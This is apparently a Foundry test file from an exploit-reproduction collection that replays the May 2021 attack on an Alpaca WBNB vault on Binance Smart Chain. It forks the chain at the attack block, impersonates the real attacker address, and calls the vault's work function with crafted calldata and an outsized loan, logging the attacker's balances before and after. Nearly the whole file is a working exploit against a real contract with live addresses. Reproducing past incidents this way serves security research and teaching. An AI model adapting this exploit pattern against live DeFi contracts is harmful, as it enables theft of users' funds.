src/test/2021-05/ValueDefi_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7/*
8    Attack tx: https://bscscan.com/tx/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006
9    Tenderly.co: https://dashboard.tenderly.co/tx/bsc/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006/
10    Debug transaction: https://phalcon.blocksec.com/tx/bsc/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006
11    
12    run: forge test --contracts ./src/test/ValueDefi_exp.sol -vvv  */
13 
14interface AlpacaWBNBVault {
15    function work(
16        uint256 id,
17        address worker,
18        uint256 principalAmount,
19        uint256 loan,
20        uint256 maxReturn,
21        bytes calldata data
22    ) external payable;
23}
24 
25contract ContractTest is Test {
26    AlpacaWBNBVault vault = AlpacaWBNBVault(0xd7D069493685A581d27824Fc46EdA46B7EfC0063);
27    IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
28    IERC20 vSafeVaultWBNB = IERC20(payable(0xD4BBF439d3EAb5155Ca7c0537E583088fB4CFCe8));
29    address attacker = address(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);
30    address attackerContract = address(0x4269e4090FF9dFc99D8846eB0D42E67F01C3AC8b);
31    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
32 
33    function setUp() public {
34        cheats.createSelectFork("bsc", 7_223_029); //fork bsc at block 7223029
35    }
36 
37    function testExploit() public {
38        emit log_named_decimal_uint("[Start] WBNB Balance of attacker", wbnb.balanceOf(attacker), 18);
39 
40        bytes memory data =
41            hex"000000000000000000000000e38ebfe8f314dcad61d5adcb29c1a26f41bed0be00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000060000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c0000000000000000000000004269e4090ff9dfc99d8846eb0d42e67f01c3ac8b0000000000000000000000000000000000000000000000000000000000000000";
42 
43        cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);
44 
45        vault.work{value: 1 ether}(
46            0,
47            0x7Af938f0EFDD98Dc513109F6A7E85106D26E16c4,
48            1_000_000_000_000_000_000,
49            393_652_744_565_353_082_751_500,
50            1_000_000_000_000_000_000_000_000,
51            data
52        );
53 
54        emit log_named_decimal_uint("[End] WBNB balance of attacker after exploit", wbnb.balanceOf(attacker), 18);
55 
56        emit log_named_decimal_uint(
57            "[End] Attacker vSafeWBNB balance after exploit", vSafeVaultWBNB.balanceOf(attacker), 18
58        );
59    }
60}